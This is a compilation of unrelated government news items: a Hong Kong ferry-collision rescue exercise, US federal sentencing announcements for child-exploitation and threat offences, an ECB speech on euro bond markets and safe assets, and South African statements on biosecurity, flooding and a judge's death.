The exercise simulated a collision between a cross-boundary high-speed passenger ferry carrying around 70 passengers from Macao to Hong Kong and a local oil tanker in the waters north of Shek Kwu Chau. The accident caused damage to the ferry’s hull; two passengers on board went missing after falling overboard, and many passengers were injured. Following the collision accident, the local oil tanker caught fire, trapping a seriously injured crew member in the engine room.
Under the co-ordination of the MD’s Maritime Rescue Coordination Centre, the participating SAR units took various contingency measures to carry out SAR operations. These operations included traffic regulation in the surrounding area to ensure safety at the scene to search for and rescue the missing persons who had fallen into the sea, extinguishing the fire on board the oil tanker, providing on-the-spot first aid to the injured, and deploying a helicopter to transfer the seriously injured to hospital for treatment. The exercise lasted about three hours, mobilising 17 SAR vessels, a helicopter and a total of more than 230 people.
The MD regularly conducts exercises with various SAR units and maritime stakeholders to strengthen co-operation with SAR centres in neighbouring areas and provide effective and rapid SAR services.
SYRACUSE, NEW YORK – Dustin Smith, age 31, of Utica, New York, was sentenced last week to 20 years in prison for distributing, receiving, and possessing child pornography. United States Attorney John A. Sarcone III, Erin Keegan, Special Agent in Charge of Homeland Security Investigations (HSI), Buffalo Field Office, and Steven G. James, New York State Police (NYSP) Superintendent made the announcement.
As part of his prior guilty plea, Smith admitted that he had a 2013 conviction for sexual abuse in the first degree and that in 2022, while under parole supervision for that conviction, he possessed a cell phone which he used to send, receive, and possess thousands of images and videos of child pornography. Specifically, Smith admitted that he used the cell phone to exchange videos of child pornography with at least two identified minor children.
In addition to the 20-year prison sentence, Senior United States District Judge David N. Hurd also imposed a 15-year term of supervised release, to begin after Smith’s prison sentence is complete. Additionally, Smith must pay $102,000 in restitution to the victims of his offenses, forfeit the device he used to commit the crimes, and register as a sex offender upon his release from federal prison.
U.S. Attorney Sarcone stated, “While under parole supervision, Smith distributed child pornography to a minor, demonstrating that he cannot be at liberty without harming children. With this 20-year sentence, our children are safer.”
HSI Special Agent in Charge Keegan said, “Northern New York is undoubtedly a safer place with Dustin Smith behind bars. This sex offender has an admitted history of abhorrent crimes against children. HSI Syracuse stands in lockstep with our law enforcement partners in our shared commitment toward justice on behalf of our communities.”
HSI investigated this case with assistance from the New York State Police Computer Crimes Unit, New York State Parole, and Oneida County Sheriff’s Office. Assistant United States Attorney Jessica N. Carbone prosecuted the case as part of Project Safe Childhood.
Project Safe Childhood is a nationwide initiative to combat the growing epidemic of child sexual exploitation and abuse. Led by the U.S. Attorneys’ Offices and the Criminal Division’s Child Exploitation and Obscenity Section (CEOS), Project Safe Childhood marshals federal, state and local resources to better locate, apprehend and prosecute individuals who exploit children via the Internet, as well as to identify and rescue victims. For more information about Project Safe Childhood, please visit https://www.justice.gov/psc.
ALBANY, NEW YORK – Christopher McCarty, age 33, of Manhattan, New York, was sentenced today to 60 months in prison, to be followed by 3 years of supervised release, for mailing a letter that contained a threat to kill two New York State judges.
United States Attorney John A. Sarcone III and Craig L. Tremaroli, Special Agent in Charge of the Albany Field Office of the Federal Bureau of Investigation (FBI), made the announcement.
As part of his prior guilty plea, McCarty admitted that between May and June 2023, he was incarcerated at the Auburn Correctional Facility in Auburn, New York. McCarty further admitted that on or about May 31, 2023, he mailed a letter to New York State Governor Kathy Hochul. In the letter, McCarty wrote that when he was released from prison, he was going to kill two New York State judges who had presided over his case leading to his incarceration at Auburn Correctional Facility.
U.S. Attorney John A. Sarcone III stated: “When someone threatens a judge, they threaten our system of justice. Those who threaten judges for doing their jobs are going to be prosecuted and held accountable to the fullest extent of the law.”
FBI Special Agent in Charge Craig L. Tremaroli stated: “The FBI will not tolerate threats of violence to any member of our community, but especially those who work hard to safeguard our democratic process. No judge should have to fear their rulings might provoke such a violent response. Mr. McCarty’s actions were dangerous and unacceptable, and today’s sentence ensures he will remain behind bars.”
FBI Albany’s Joint Terrorism Task Force (JTTF) and the New York State Department of Corrections and Community Supervision (NYSDOCCS) investigated the case. Assistant U.S. Attorney Rick Belliss prosecuted the case.
PORTLAND, Maine: A Kennebunkport man pleaded guilty today in U.S. District Court in Portland to possessing child pornography.
According to court records, in November 2024, law enforcement agents executed a search warrant at the residence of Kevin Rockwell, 41, in Kennebunkport. In executing the warrant, agents recovered a tablet located on a nightstand; a review of the tablet uncovered numerous image and video files of child sexual abuse material, including prepubescent children. In an interview, Rockwell admitted owning the tablet and acknowledged the presence of the files on it. Rockwell has a prior federal conviction for transporting child pornography, for which he was sentenced to 8 ½ years in federal prison.
Rockwell faces a mandatory term of imprisonment of not less than 10 years with a maximum of 20 years, a fine of up to $250,000, and a mandatory supervised release period of at least 5 years up to lifetime supervision. He will be sentenced after the completion of a presentence investigative report by the U.S. Probation Office. A federal district court judge will determine any sentence after considering the U.S. Sentencing Guidelines and other statutory factors.
The FBI investigated the case.
To report an incident involving the possession, distribution, receipt or production of child sexual abuse material: Child sexual abuse material – referred to in legal terms as “child pornography” – captures the sexual abuse and exploitation of children. These images document victims’ exploitation and abuse, and they suffer revictimization every time the images are viewed. In 2023, the National Center for Missing & Exploited Children received 36 million reports of the possession, manufacture, or distribution of child sexual abuse materials. To file a report with NCMEC, go to https://report.cybertip.org or call 1-800-843-5678. If you are in Maine and you or someone you know has been sexually assaulted or abused, you can get help by calling the free, private 24-hour statewide sexual assault helpline at 1-800-871-7741.
Project Safe Childhood: This case was brought as part of Project Safe Childhood, a nationwide initiative to combat the growing epidemic of child sexual exploitation and abuse launched in May 2006 by the Department of Justice. Led by U.S. Attorneys’ Offices and the Department’s Child Exploitation and Obscenity Section, Project Safe Childhood marshals federal, state and local resources to better locate, apprehend and prosecute individuals who exploit children via the internet, as well as to identify and rescue victims. For more information about Project Safe Childhood, visit https://www.justice.gov/usao-me/psc.
Keynote speech by Philip R. Lane, Member of the Executive Board of the ECB, at the Government Borrowers Forum 2025
Dublin, 11 June 2025
I am grateful for the invitation to contribute to the Government Borrowers Forum. I will use my time to cover three topics.[1] First, I will briefly discuss last week’s monetary policy decision.[2] Second, I will describe some current features of the euro area bond market.[3] Third, I will outline some innovations that might expand the scope for euro-denominated bonds to serve as safe assets in global portfolios.
Monetary policy
At last week’s meeting, the Governing Council decided to lower the deposit facility rate (DFR) to two per cent. The baseline of the latest Eurosystem staff projections foresees inflation at 2.0 per cent in 2025, 1.6 per cent in 2026 and 2.0 per cent in 2027; output growth is foreseen at 0.9 per cent for 2025, 1.2 per cent in 2026 and 1.3 per cent in 2027. The lower inflation path in the June projections compared to the March projections reflects the significant movements in energy prices and the exchange rate in recent months. These relative price movements both have a direct impact on inflation but also an indirect impact via the impact of lower input costs and a lower cost of living on the dynamics of core inflation and wage inflation.
The June projections were conditioned on a rate path that included a quarter-point reduction of the DFR in June: model-based optimal policy simulations and an array of monetary policy feedback rules indicated a cut was appropriate under the baseline and also constituted a robust decision, remaining appropriate across a range of alternative future paths for inflation and the economy. By supporting the pricing pressure needed to generate target-consistent inflation in the medium-term, this cut helps ensure that the projected negative inflation deviation over the next eighteen months remains temporary and does not convert into a longer-term deviation of inflation from the target. This cut also guards against any uncertainty about our reaction function by demonstrating that we are determined to make sure that inflation returns to target in the medium term. This helps to underpin inflation expectations and avoid an unwarranted tightening in financial conditions.
The robustness of the decision is also indicated by a set of model-based optimal policy simulations conducted on various combinations of the scenarios discussed in the Eurosystem staff projections report, even when also factoring in upside scenarios for fiscal expenditure. A cut is also indicated by a broad range of monetary policy feedback rules. By contrast, leaving the DFR on hold at 2.25 per cent could have triggered an adverse repricing of the forward curve and a revision in inflation expectations that would risk generating a more pronounced and longer-lasting undershoot of the inflation target. In turn, if this risk materialised, a stronger monetary reaction would ultimately be required.
Especially under current conditions of high uncertainty, it is essential to remain data dependent and take a meeting-by-meeting approach in making monetary policy decisions. Accordingly, the Governing Council does not pre-commit to any particular future rate path.
The euro area bond market
Chart 1
Ten-year nominal OIS rate and GDP-weighted sovereign yield for the euro area
(percentages per annum)
Sources: LSEG and ECB calculations.
Notes: The latest observations are for 10 June 2025.
Let me now turn to a longer-run perspective by inspecting developments in the bond market. In the first two decades of the euro, nominal long-term interest rates in the euro area were, by and large, on a declining trend from the start of the currency bloc until the outbreak of the pandemic (Chart 1). The ten-year overnight index swap (OIS) rate, considered as the ten-year risk-free rate in the euro area, declined from 6 percent in early 2000 to -50 basis points in 2020, a trend matched by the 10-year GDP-weighted sovereign bond yield.[4] The economic recovery from the pandemic and the soaring energy prices in response to the Russian invasion in Ukraine caused surges in inflation which led to an increase of interest rates. The recent stability of these long-term rates suggests that markets have seen the euro area economy gradually moving towards a new long-term equilibrium following the peak of annual headline inflation in October 2022, as past shocks have faded.
Chart 2
Decomposition of the ten-year spot euro area OIS rate into term premium and expected rates
(percentages per annum)
Sources: LSEG and ECB calculations.
Notes: The decomposition of the OIS rate into expected rates and term premia is based on two affine term structure models, with and without survey information on rate expectations[5], and a lower bound term structure model[6] incorporating survey information on rate expectations. The latest observations are for 10 June 2025.
A term structure model makes it possible to decompose OIS rates into a term premium component and an expectations component. For the ten-year OIS rate, the expectations component reflects the expected average ECB policy rate over the next ten years and is affected by ECB’s policy decisions on interest rates and communication about the future policy path (e.g., in the form of explicit or implicit forward guidance). The term premium is a measure of the estimated compensation investors demand for being exposed to interest rate risk: the risk that the realised policy rate can be different from the expected rate.
Chart 3
Ten-year euro area OIS rate expectations and term premium component
(percentages per annum)
Sources: LSEG and ECB calculations.
Notes: The decomposition of the OIS rate into expected rates and term premia is based on two affine term structure models, with and without survey information on rate expectations4, and a lower bound term structure model5 incorporating survey information on rate expectations. The latest observations are for 10 June 2025.
The decline of long-term rates in the first two decades of the euro and the rapid increase in 2022 were driven by both the expectations component and the term premium (Charts 2 and 3). The premium was estimated to be largely positive in the early 2000s, understood as a sign that the euro area economy was mostly confronted with supply-side shocks. Starting with the European sovereign debt crisis, the euro area was more and more characterised as a demand-shock dominated economy, in which nominal bonds act as a hedge against future crises and thus investors started requiring a lower or even negative term premium as compensation to hold these assets.[7] The large-scale asset purchases of the ECB under the APP reinforced the downward pressure on the term premium. By buying sovereign bonds (and other assets), the ECB reduced the overall amount of duration risk that had to be borne by private investors, reducing the compensation for risk.[8] With demand and supply shocks becoming more balanced again and central banks around the world normalising their balance sheet holdings of sovereign bonds in recent years, the term premium estimate turned positive again in early 2022 and continued to inch up through the first half of 2023. As it became clear in the second half of 2023 that upside risk scenarios for inflation were less likely, the term premium fell back to some extent and has been fairly stable since.
Different to the ten-year maturity, very long-term sovereign spreads did not experience the same pronounced negative trend. From the inception of the euro until 2014, the thirty-year euro area GDP-weighted sovereign yield fluctuated around 3 percent. The decline to levels below 2 percent after 2014 and around 0.5 percent in 2020 reflect declining nominal risk-free rates more generally but also coincide with the announcements of large-scale asset purchases (PSPP and PEPP). Likewise, the upward shift back to above 3 percent during 2022 occurred on the back of rising policy rates and normalising central bank balance sheets.
Chart 4
Ten-year sovereign bond spreads vs Germany
(percentages per annum)
Sources: LSEG and ECB calculations.
Notes: The spread is the difference between individual countries’ 10-year sovereign yields and the 10-year yield on German Bunds. The latest observations are for 10 June 2025.
In the run-up to the global financial crisis, sovereign yields in the euro area were very much aligned between countries and also with risk-free rates (Chart 4). With the onset of the global financial crisis and later the European sovereign debt crisis, sovereign spreads for more vulnerable countries soared as investors started to discriminate between euro area countries according to their perceived creditworthiness.
On top of the efforts of European sovereigns to consolidate their public finances, President Draghi’s 2012 “whatever it takes” speech and the subsequent announcement of Outright Monetary Transaction (OMTs) marked a turning point in the euro area sovereign debt crisis. Sovereign spreads came down from their peaks but have kept some variation across countries ever since.
The large-scale asset purchases under the APP and PEPP further compressed sovereign spreads. During the pandemic and the subsequent monetary policy tightening, the flexibility in PEPP and the creation of the Transmission Protection Instrument (TPI) supported avoiding fragmentation risks in sovereign bond markets. The extraordinary demand for sovereign bonds as collateral at the beginning of the hiking cycle, at a time when central bank holdings of these bonds were still high, resulted in the yields of German bonds, which are the most-preferred assets when it comes to collateral, declining far below the risk-free OIS rate in the course of 2022. These tensions eased as collateral scarcity reversed.[9]
This year, bond yields and bond spreads in the euro area have been relatively stable, despite significant movements in some other bond markets. This can be interpreted as reflecting a balancing between two opposing forces: in essence, the typical positive spillover across bond markets has been offset by an international portfolio preference shift towards the euro and euro-denominated securities. This international portfolio preference shift is likely not uniform and is some mix of a pull back by European investors towards the domestic market and some rebalancing by global investors away from the dollar and towards the euro. More deeply, the stability of the euro bond market reflects a high conviction that euro area inflation is strongly anchored at the two per cent target and that the euro area business cycle should be relatively stable, such that the likely scale of cyclical interest rate movements is contained. It also reflects growing confidence that the scope for the materialisation of national or area-wide fiscal risks is quite contained, in view of the shared commitment to fiscal stability among the member countries and the demonstrated capacity to react jointly to fiscal tail events.[10]
Chart 5
Holdings of “Big-4” euro area government debt
(percentage of total amounts outstanding)
Sources: ECB Securities Holding Statistics and ECB calculations.
Notes: The chart is based on all general government plus public agency debt in nominal terms. The breakdown is shown for euro area holding sectors, while all non-euro area holders are aggregated in the orange category in lack of more detailed information. ICPF stands for insurance corporations and pension funds. The “Big-4” countries include DE, FR, IT, ES. 2014 Q4 reflects the holdings before the onset of quantitative easing. 2022 Q4 reflects the peak of Eurosystem holdings at the end of net asset purchases.
Latest observation: Q1 2025
In understanding the dynamics of the bond market, it is also useful to examine the distribution of bond holdings across sectors. The largest euro-area holder sectors are banks, insurance corporations and pension funds (ICPF) and investment funds, while non-euro area foreign investors also are significant holders (Chart 5). The relative importance of the sectors differs between countries. Domestic banks and insurance corporations play a relatively larger role in countries like Italy and Spain, while non-euro area international investors hold relatively larger shares of debt issued by France or Germany.
Since the start of the APP in early 2015, the Eurosystem increased its market share in euro area sovereign bonds from about 5 per cent of total outstanding debt to a peak of 33 per cent in late 2022. Net asset purchases by the Eurosystem were stopped in July 2022, while the full reinvestment of redemptions ceased at the end of that year: by Q1 2025, the Eurosystem share had declined to 25 per cent. The increase in Eurosystem holdings during the QE period was mirrored by falling holdings of banks and non-euro area foreign investors. The holding share of banks declined from 22 per cent in 2014 to 14 per cent at the end of 2022, while the share held by foreign investors fell from 35 per cent to 25 per cent over the same period.
ICPFs have consistently held a significant share of the outstanding debt, especially at the long-end of the yield curve. Since 2022, following the end of full reinvestments under the APP, more price-sensitive sectors, such as banks, investment funds and private foreign investors, have regained some market share. Holdings by households have also shown some noticeable growth in sovereign bond holdings, driven primarily by Italian households.[11] In summary, the holdings statistics show that the bond market has smoothly adjusted to the end of quantitative easing. In particular, the rise in bond yields in 2022 was sufficient to attract a wide range of domestic and global investors to expand their holdings of euro-denominated bonds.[12]
To gain further insight into the recent dynamics of the euro area bond market, it is helpful to look at recent portfolio flow data and bond issuance data. Market data on portfolio flows[13] highlights a repatriation of investment funds in bonds by domestic investors during March, April, and May, contrasting sharply with 2024 trends, while foreign fund inflows into euro area bonds during the same period surpassed the 2024 average (Chart 6). Simultaneously, EUR-denominated bond issuance by non-euro area corporations has surged in 2025, reaching nearly EUR 100 billion year-to-date compared to an average of EUR 32 billion over the same period in the past five years (Chart 7).
Expanding the pool of safe assets
These developments (stable bond yields, increased foreign holdings of euro-denominated bonds) have naturally led to renewed interest in the international role of the euro.[14]
The euro ranks as the second largest reserve currency after the dollar. However, the current design of the euro area financial architecture results in an under-supply of the safe assets that play a special role in investor portfolios.[15] In particular, a safe asset should rise in relative value during stress episodes, thereby providing essential hedging services.
Since the bund is the highest-rated large-country national bond in the euro area, it serves as the main de facto safe asset but the stock of bunds is too small relative to the size of the euro area or the global financial system to satiate the demand for euro-denominated safe assets. Especially in the context of much smaller and less volatile spreads (as shown in Chart 4), other national bonds also directionally contribute to the stock of safe assets. However, the remaining scope for relative price movements across these bonds means that the overall stock of national bonds does not sufficiently provide safe asset services.
In principle, common bonds backed by the combined fiscal capacity of the EU member states are capable of providing safe-asset services. However, the current stock of such bonds is simply too small to foster the necessary liquidity and risk management services (derivative markets; repo markets) that are part and parcel of serving as a safe asset.[16]
There are several ways to expand the stock of common bonds. Just as the Next Generation EU (NGEU) programme was financed by the issuance of common bonds jointly backed by the member states, the member countries could decide to finance investment European-wide public goods through more common debt.[17] From a public finance perspective, it is natural to match European-wide public goods with common debt, in order to align the financing with the area-wide benefits of such public goods. If a multi-year investment programme were announced, the global investor community would recognise that the stock of euro common bonds would climb incrementally over time.
In addition, in order to meet more quickly and more decisively the rising global demand for euro-denominated safe assets, there are a number of options in generating a larger stock of safe assets from the current stock of national bonds. Recently, Olivier Blanchard and Ángel Ubide have proposed that the “blue bond/red bond” reform be re-examined.[18] Under this approach, each member country would ring fence a dedicated revenue stream (say a certain amount of indirect tax revenues) that could be used to service commonly-issued bonds. In turn, the proceeds of issuing blue bonds would be deployed to purchase a given amount of the national bonds of each participating member state. This mechanism would result in a larger stock of common bonds (blue bonds) and a lower stock of national bonds (red bonds).
While this type of financial reform was originally proposed during the euro area sovereign debt crisis, the conditions today are far more favourable, especially if the scale of blue bond issuance were to be calibrated in a prudent manner in order to mitigate some of the identified concerns. In particular, the euro area financial architecture is now far more resilient, thanks to the significant institutional reforms that were introduced in the wake of the euro area crisis and the demonstrated track record of financial stability that has characterised Europe over the last decade. The list of reforms include: an increase in the capitalisation of the European banking system; the joint supervision of the banking system through the Single Supervisory Mechanism; the adoption of a comprehensive set of macroprudential measures at national and European levels; the implementation of the Single Resolution Mechanism; the narrowing of fiscal, financial and external imbalances; the fiscal backstops provided by the European Stability Mechanism; the common solidarity shown during the pandemic through the innovative NGEU programme; the demonstrated track record of the ECB in supplying liquidity in the event of market stress; and the expansion of the ECB policy toolkit (TPI, OMT) to address a range of liquidity tail risks. [19] In the context of the sovereign bond market, these reforms have contributed to less volatile and less dispersed bond returns.
As emphasised in the Blanchard-Ubide proposal, there is an inherent trade off in the issuance of blue bonds. In one direction, a larger stock of blue bonds boosts liquidity and, if a critical mass is attained, also would trigger the fixed-cost investments need to build out ancillary financial products such as derivatives and repos. In the other direction, too-large a stock of blue bonds would require the ringfencing of national tax revenues at a scale that would be excessive in the context of the current European political configuration in which fiscal resources and political decision-making primarily remains at the national level. As emphasised in the Blanchard-Ubide proposal, this trade-off is best navigated by calibrating the stock of blue bonds at an appropriate level.
In particular, the Blanchard-Ubide proposal gives the example of a stock of blue bonds corresponding to 25 per cent of GDP. Just to illustrate the scale of the required fiscal resources to back this level of issuance: if bond yields were on average in the range of two to four per cent, the servicing of blue bond debt would require ringfenced tax revenues in the range of a half per cent to one per cent of GDP. While this would constitute a significant shift in the current allocation of tax revenues between national and EU levels, this would still leave tax revenues predominantly at the national level (the ratio of tax revenues to GDP in the euro area ranges from around 20 to 40 per cent). The shared payoff would be the reduction in debt servicing costs generated by the safe asset services provided by an expanded stock of common debt.
An alternative, possibly complementary, approach that could also deliver a larger stock of safe assets from the pool of national bonds is provided by the sovereign bond backed securities (SBBS) proposal.[20] The SBBS proposal envisages that financial intermediaries (whether public or private) could bundle a portfolio of national bonds and issue tranched securities, with the senior slice constituting a highly-safe asset. The SBBS proposal has been extensively studied (I chaired a 2017 ESRB report) and draft enabling legislation has been prepared by the European Commission.[21] Just as with the blue/red bond proposal, sufficient issuance scale would be needed in order to foster the market liquidity needed for the senior bonds to act as highly liquid safe assets.
In summary, such structural changes in the design of the euro area bond market would foster stronger global demand for euro-denominated safe assets. A comprehensive strategy to expand the international role of the euro and underpin a European savings and investment union should include making progress on this front.
Agriculture Minister, John Steenhuisen, has proposed the development of a National Biosecurity Compact – shared commitment between government, industry, academia, and civil society to strengthen South Africa’s preparedness and resilience against biological threats.
Speaking at the National Biosecurity Summit 2025, held at the University of Pretoria’s Hatfield Campus on Tuesday, Steenhuisen outlined the objectives of the proposed compact, which aims to coordinate national responses to animal and plant health risks.
“This compact will define baseline vaccine stock levels; clarify roles and responsibilities during outbreaks; embed data-sharing mechanisms and institutional partnerships like the Biosecurity Hub; and provide a framework for coordinated, credible, and timely responses,” Steenhuisen said.
Steenhuisen argued that the initiative is not only about defending against risk, but “it is about enabling growth.”
He said export markets require sanitary and phytosanitary compliance, and they demand evidence of control, traceability, and institutional readiness.
“Strengthening our biosecurity systems opens the door to new trade opportunities, safeguards jobs, and boosts investor confidence in South African agriculture. Biosecurity is not a “nice-to-have”, [but] it is as fundamental to national stability as clean water, reliable electricity, or functioning roads.
“When it works, farmers prosper, food remains affordable, and our exports flourish. When it fails, the consequences are steep—economically, socially, and politically. We have the tools [and] the institutions, and now, we have the momentum,” the Minister said.
The Minister also noted one of the country’s most significant structural weaknesses, vaccine production, highlighting operational backlogs and infrastructure limitations at Onderstepoort Biological Products (OBP) – the country’s primary vaccine producer.
“We cannot afford to repeat the failures of the past. Vaccines are not a luxury – they are the first line of defence in any biosecurity system, and we will hold OBP accountable.”
To address these challenges, the Minister announced that his office has implemented quarterly performance reviews, brought independent oversight, and is actively investigating diversification options to reduce dependence on a single supplier.
Addressing veterinarian shortage
The Minister also raised concerns about the critical shortage of veterinarians, particularly in the poultry industry and rural areas. “Nationally, we require 400 veterinarians. We currently have around 70 in the public system,” the Minister said.
To close this gap, he said the department is expanding vet training posts, creating rural internships opportunities, and building regional partnerships.
“Through the Biosecurity Hub, we are also mapping career pathways to attract a new generation of animal health professionals.”
Biosecurity Hub at Innovation Africa
Launched in October 2022, the Biosecurity Hub is a joint initiative between the Department of Agriculture, then Department of Agriculture, Land Reform and Rural Development (DALRRD), and Department of Science Technology and Innovation.
The hub is an innovative platform designed to foster collaboration, enhance information sharing, and strengthen our collective capacity to respond to biological threats, not only for South Africa, but potentially across the continent.
It is a strategic outcome aligned with the overarching objectives of the Agricultural Agro-Processing Masterplan (AAPM) and the Decadal Plan. Both these national frameworks emphasise the importance of safeguarding agricultural value chains, promoting sustainable, trade, agro-processing, and ensuring food security utilising also biotechnologically advanced practices. – SAnews.gov.za
President Cyril Ramaphosa has expressed his condolences to the families of the six people who died as a result of severe weather and flooding in the Eastern Cape.
The province has experienced flooding, windy conditions and snow recently.
The President implored communities to take caution as the severe winter conditions persists.
“While government discharges its responsibilities and services to citizens, we welcome the support we see at times such as this from businesses, community- and faith-based organisations, charities and organisations such as the National Sea Rescue Institute. I thank everyone from all walks of life who are working to keep all of us safe and comfortable this winter.
“This is a time where we need to take care of ourselves in our homes and reach out to neighbours and friends who need help of any kind.
“We also need to exercise caution on our roads when travelling for work or leisure, or as we get out in nature where we may want to see such sights as snowfalls or flooded rivers. We must observe by-laws and regulations that exist to protect us in these conditions,” the President said in his statement on Wednesday.
Furthermore, the President urged communities to stand together during this time.
“We must pull together where disaster strikes and while none of us should evade accountability, we must put problem-solving and collaboration ahead of blame and conflict.
“Our beautiful country is a safe, comfortable, and enjoyable place for all of us for most of the year, but we cannot escape winter’s intensity and our own vulnerability. Let’s show our care for each other this winter and let ubuntu see us through to spring,” President Ramaphosa said.
This as the South African Weather Service (SAWS) issued a Level 9 warning for heavy rain and thunderstorms over the eastern half of the Eastern Cape with possible flooding over the OR Tambo District Municipality.
This as the cut-off low system persists over the interior of the country.
Meanwhile, adverse weather has also affected other parts of the country with the N2 around Kokstad and Port Shepstone having been closed due to snowfall.
“To save lives, we have decided to close completely the road between Kokstad and Pietermaritzburg as well as the R603 – Tacoma to Reit. Our message to motorists and snow chasers is that prevention is better than cure,” said KwaZulu-Natal MEC for Transport and Human Settlements, Siboniso Duma.
In addition, the Road Traffic Management Corporation (RTMC) has called on motorists to take extra caution when driving on the roads as icy cold weather conditions have gripped the Eastern Cape and KwaZulu-Natal.
The North West Provincial Government ( NWPG) has urged communities to stay vigilant amid severe weather and strong, fire-spreading winds.
“Freezing weather is upon us and an increasing dependence on indoor heating techniques like paraffin stoves, heaters and open fires are likely to be the order of the day,” the North West Provincial Government (NWPG) said in a statement.
Ahead of the start of the icy weather, the Minister of Cooperative Governance and Traditional Affairs (CoGTA), Velenkosini Hlabisa, also called for increased vigilance.
“This intense cold front is expected to begin over the weekend and affect large parts of the country,” he said in a statement on Friday.
The passing of former Judge President of the Eastern Cape Division of the High Court, Justice Clement Temba Sangoni, is a “profound loss” to South Africa’s legal heritage.
This is according to President Cyril Ramaphosa, who has expressed his condolences to Sangoni’s family, following the justice’s passing on Tuesday.
“The passing of Justice Sangoni is a devastating loss to his family and immediate community, and it is a profound loss to our judiciary and our legal heritage.
“Judge Sangoni lived for justice and the improvement of the material conditions of communities in the Eastern Cape and elsewhere through constitutionally sound, progressive jurisprudence,” the President said.
He praised Sangoni’s commitment and service to the bench in the Eastern Cape.
“Under his leadership, the Judiciary in the Eastern Cape also applied its mind collectively and individually to matters pertaining to the development of this economically vital province.
“Judge Sangoni served the people of the Eastern Cape from the Bench and through his deep involvement in community life in his role as a traditional leader – a role which enriched his adjudication of a broad range of matters placed before the courts.
“We will continue to appreciate his contribution to the rule of law and the wisdom of law in our country and to the communities in which he lived and served with distinction. May his soul rest in peace,” President Ramaphosa said. – SAnews.gov.za
